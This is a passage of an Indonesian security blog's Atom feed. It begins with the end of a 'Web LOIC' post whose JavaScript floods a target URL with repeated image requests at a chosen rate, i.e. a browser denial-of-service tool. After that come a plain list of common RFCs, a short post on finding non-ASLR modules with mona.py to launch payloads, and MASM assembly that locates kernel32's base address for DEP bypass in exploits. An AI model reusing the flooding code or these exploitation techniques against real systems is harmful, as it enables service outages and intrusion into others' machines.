&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; img.onerror = function () { onFail(rID); };
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; img.onabort = function () { onFail(rID); };
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; img.setAttribute(&quot;src&quot;, targetURL + &quot;?id=&quot; + rID + &quot;&amp;amp;msg=&quot; + messageNode.value);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; requestsHT[rID] = img;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; onRequest(rID);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var onRequest = function (rID) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; requestedCtr++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; requestedCtrNode.innerHTML = requestedCtr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var onComplete = function (rID) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; delete requestsHT[rID];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var onFail = function (rID) {

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; failedCtr++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; failedCtrNode.innerHTML = failedCtr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; succeededCtr++; //Seems like the url will always fail it it isn&#39;t an image
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; succeededCtrNode.innerHTML = succeededCtr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; delete requestsHT[rID]; // we can&#39;t keep it forever or it would blow up the browser

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var onSuccess = function (rID) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; succeededCtr++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; succeededCtrNode.innerHTML = succeededCtr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; delete requestsHT[rID];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fireButton.onclick = function () {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (isFiring) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; clearInterval(fireInterval);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; isFiring = false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.innerHTML = &quot;Fire Again!&quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; isFiring = true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.innerHTML = &quot;Stop Shooting!&quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; function FireIbero() {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (isFiring) {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; clearInterval(fireInterval);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; isFiring = false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.innerHTML = &quot;Shoot Again!&quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; isFiring = true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.innerHTML = &quot;Stop flooding&quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; })();
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt; &lt;/code&gt;&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/4237585246005775810/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/source-code-web-loic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4237585246005775810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4237585246005775810'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/source-code-web-loic.html' title='Source Code Web Loic'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-9210460299307800916</id><published>2012-08-28T01:00:00.002-07:00</published><updated>2013-03-28T23:04:11.817-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Sekilas Tentang RFC</title><content type='html'>Sekedar untuk tambahan pengetahuan anda, RFC adalah singkatan dari Request for  Comments, yaitu seri dokumen informasi dan standar internet bernomor  yang di ikuti secara luas oleh perangkat lunak untuk digunakan dalam  jaringan, internet, dan beberapa sistem operasi jaringan, mulai dari  Unix, Windows, dan Novell NetWare. RFC kini diterbitkan di bawah arahan  Internet Society (ISOC) dan badan-badan penyusu-standar teknisnya,  seperti Internet Engineering Task Force (IETF) atau Internet Research  Task Force (IRTF). Semua standar internet dan juga TCP/IP selalu  dipublikasikan dalam RFC, meskipun tidak semua RFC mendefinisikan  standar internet&lt;br /&gt;
&lt;br /&gt;
Berikut ini adalah daftar RFC yang umum di gunakan&lt;br /&gt;
&lt;br /&gt;
RFC 768 User Datagram Protocol&lt;br /&gt;
RFC 791 Internet Protocol&lt;br /&gt;
RFC 792 Control message protocol&lt;br /&gt;
RFC 793 Transmission Control Protocol&lt;br /&gt;
RFC 821 Simple Mail Transfer Protocol, digantikan RFC 2821&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
RFC 822 Format e-mail, digantikan RFC 2822&lt;br /&gt;
RFC 826 Address resolution protocol&lt;br /&gt;
RFC 894 IP melalui Ethernet&lt;br /&gt;
RFC 951 Bootstrap Protocol&lt;br /&gt;
RFC 959 File Transfer Protocol&lt;br /&gt;
RFC 1034 Domain Name System – konsep&lt;br /&gt;
RFC 1035 DNS – implementasi&lt;br /&gt;
RFC 1122 Syarat-syarat Host I&lt;br /&gt;
RFC 1123 Syarat-syarat Host II&lt;br /&gt;
RFC 1191 Penemuan Path MTU&lt;br /&gt;
RFC 1256 Penemuan router&lt;br /&gt;
RFC 1323 TCP dengan kemampuan tertinggi&lt;br /&gt;
RFC 1350 Trivial File Transfer Protocol&lt;br /&gt;
RFC 1403 Interaksi BGP OSPF&lt;br /&gt;
RFC 1459 Protokol Internet Relay Chat&lt;br /&gt;
RFC 1498 Diskusi arsitektur&lt;br /&gt;
RFC 1518 Alokasi alamat CIDR&lt;br /&gt;
RFC 1519 CIDR&lt;br /&gt;
RFC 1591 Domain Name Structure/DNS&lt;br /&gt;
RFC 1661 Point-to-Point Protocol&lt;br /&gt;
RFC 1738 Uniform Resource Locator&lt;br /&gt;
RFC 1771 A Border Gateway Protocol 4&lt;br /&gt;
RFC 1772 Aplikasi BGP&lt;br /&gt;
RFC 1789 Telepon melalui Internet (digantikan VoIP)&lt;br /&gt;
RFC 1812 Syarat-syarat bagi router IPv4&lt;br /&gt;
RFC 1889 Real-Time transport&lt;br /&gt;
RFC 1905 Simple network management protocol&lt;br /&gt;
RFC 1907 MIB&lt;br /&gt;
RFC 1918 “Network 10″&lt;br /&gt;
RFC 1939 Post Office Protocol versi 3 (POP3)&lt;br /&gt;
RFC 2001 Perpanjangan performa TCP&lt;br /&gt;
RFC 2026 Proses Standar Internet&lt;br /&gt;
RFC 2045 MIME&lt;br /&gt;
RFC 2046&lt;br /&gt;
RFC 2047&lt;br /&gt;
RFC 2048&lt;br /&gt;
RFC 2049&lt;br /&gt;
RFC 2060 Internet Message Access Protocol versi 4 (IMAP4), digantikan RFC 3501&lt;br /&gt;
RFC 2131 DHCP&lt;br /&gt;
RFC 2223 Petunjuk bagi author RFC&lt;br /&gt;
RFC 2231 Set aksara&lt;br /&gt;
RFC 2328 OSPF&lt;br /&gt;
RFC 2401 Arsitektur Keamanan&lt;br /&gt;
RFC 2453 Routing Information Protocol&lt;br /&gt;
RFC 2525 Masalah-masalah TCP&lt;br /&gt;
RFC 2535 Keamanan DNS&lt;br /&gt;
RFC 2581 Kontrol kemacetan TCP&lt;br /&gt;
RFC 2616 HTTP&lt;br /&gt;
RFC 2663 Network address translation&lt;br /&gt;
RFC 2766 NAT-PT&lt;br /&gt;
RFC 2821 Simple Mail Transfer Protocol&lt;br /&gt;
RFC 2822 Format e-mail&lt;br /&gt;
RFC 2960 SCTP&lt;br /&gt;
RFC 3010 Network File System&lt;br /&gt;
RFC 3031 Arsitektur MPLS&lt;br /&gt;
RFC 3066 Tag bahasa&lt;br /&gt;
RFC 3092 Etimologi “Foo”&lt;br /&gt;
RFC 3098 Beriklan dengan bertanggung jawab menggunakan E-mail&lt;br /&gt;
RFC 3160 Tao IETF&lt;br /&gt;
RFC 3168 ECN&lt;br /&gt;
RFC 3501 IMAP4rev1&lt;br /&gt;
&lt;br /&gt;
untuk melihat rfc anda bisa mengunjungi situs IETF ataupun IRTF&lt;br /&gt;
IETF : &lt;a class=&quot;postlink&quot; href=&quot;http://tools.ietf.org/html/rfc&quot;&gt;http://tools.ietf.org/html/rfc&lt;/a&gt;[Nomor RFC]&lt;br /&gt;
IRTF : &lt;a class=&quot;postlink&quot; href=&quot;http://www.ietf.org/rfc/rfc&quot;&gt;http://www.ietf.org/rfc/rfc&lt;/a&gt;[Nomor RFC].txt&lt;br /&gt;
&lt;br /&gt;
misalnya jika anda ingin mengetahui tentang HTTP&lt;br /&gt;
&lt;a class=&quot;postlink&quot; href=&quot;http://tools.ietf.org/html/rfc2616&quot;&gt;http://tools.ietf.org/html/rfc2616&lt;/a&gt; atau &lt;a class=&quot;postlink&quot; href=&quot;http://www.ietf.org/rfc/rfc2616.txt&quot;&gt;http://www.ietf.org/rfc/rfc2616.txt&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/9210460299307800916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/sekilas-tentang-rfc.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/9210460299307800916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/9210460299307800916'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/sekilas-tentang-rfc.html' title='Sekilas Tentang RFC'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-4063594001580295271</id><published>2012-08-20T14:57:00.001-07:00</published><updated>2013-03-28T23:03:53.823-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><title type='text'>Return To NoASLR Module</title><content type='html'>dalam kenyataannya tidak semua module terproteksi oleh ASLR... module2 seperti inilah yang bisa kita gunakan sebagai batu loncatan untuk menjalankan suatu playlod... untuk menemukan modul2 seperti ini kita juga tidak perlu untuk mengecek semua modul satu persatu... sudah banyak software2 yang bisa kita manfaatkan untuk mengetahui suatu module terproteksi aslr atau tidak... salah satunya yaitu menggunakan mona.py... kita cukup mengetik &quot;!mona noaslr&quot; dan tara... tanpa perlu susah2 si mona sudah menemukannya.... ^_^&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj84HeK434kGzAttThMaHKy_B0jSVsv2pn-AG8HiL-Pxchlqt54jd6hoxmzL8wmr9rtgsv9l0E2Uy-Fd-0rCWG0hqcQr3JzcejoAdRL2k2b-WepBM_AJBxGtsUf847oNpxJvadUriqYUbQ/s1600/Capture1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;47&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj84HeK434kGzAttThMaHKy_B0jSVsv2pn-AG8HiL-Pxchlqt54jd6hoxmzL8wmr9rtgsv9l0E2Uy-Fd-0rCWG0hqcQr3JzcejoAdRL2k2b-WepBM_AJBxGtsUf847oNpxJvadUriqYUbQ/s400/Capture1.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
sekarang tinggal cari deh alamat return dari si noaslr module tersebut...&lt;br /&gt;
untuk lebih jelasnya mengenai mona.py silahkan kunjungi situsnya &lt;a href=&quot;https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/&quot;&gt;https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/4063594001580295271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/return-to-noaslr-module.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4063594001580295271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4063594001580295271'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/return-to-noaslr-module.html' title='Return To NoASLR Module'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj84HeK434kGzAttThMaHKy_B0jSVsv2pn-AG8HiL-Pxchlqt54jd6hoxmzL8wmr9rtgsv9l0E2Uy-Fd-0rCWG0hqcQr3JzcejoAdRL2k2b-WepBM_AJBxGtsUf847oNpxJvadUriqYUbQ/s72-c/Capture1.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-2576829391377911963</id><published>2012-08-19T17:17:00.002-07:00</published><updated>2013-03-28T23:03:06.060-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Find Base Address Module</title><content type='html'>untuk suatu alasan tertentu seperti bypass DEP misalnya anda harus mengerti dulu letak baseaddress kernel32 dan juga alamat fungsi2 yang akan digunakan di modul itu, lalu bagaimana kalau system yang kita gunakan di proteksi ama ASLR...? bukannya letak base address juga akan berubah2...? anda tidak perlu cemas... berikut ini cara untuk menemukan base address suatu module berdasarkan urutannya...&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;include \masm32\include\masm32rt.inc
.data
.code
start:
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX            ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &amp;amp;(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch]    ; ESI = PEB-&amp;gt;Ldr
MOV ESI,[ESI + 1Ch]    ; ESI = PEB-&amp;gt;Ldr.InInitOrder
xor ebx,ebx
next_module1:
inc ebx
MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module)
mov ecx,3h
mov edx,ecx            ; ecx = 3 kernel32 berada di urutan ke 3
CMP ebx,edx
JNE next_module1       ; No: mencoba module berikutnya.
                       ; EBP berisi base address kernel32

call ExitProcess
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
kita cukup mengganti ecx sesuai dengan urutan module yang akan kita gunakan... di atas saya isi ecx dengan 3 yaitu urutan dari module kernel32 kemudian base address dari kernel32 tersebut di simpan di register EBP..&lt;br /&gt;
&lt;br /&gt;
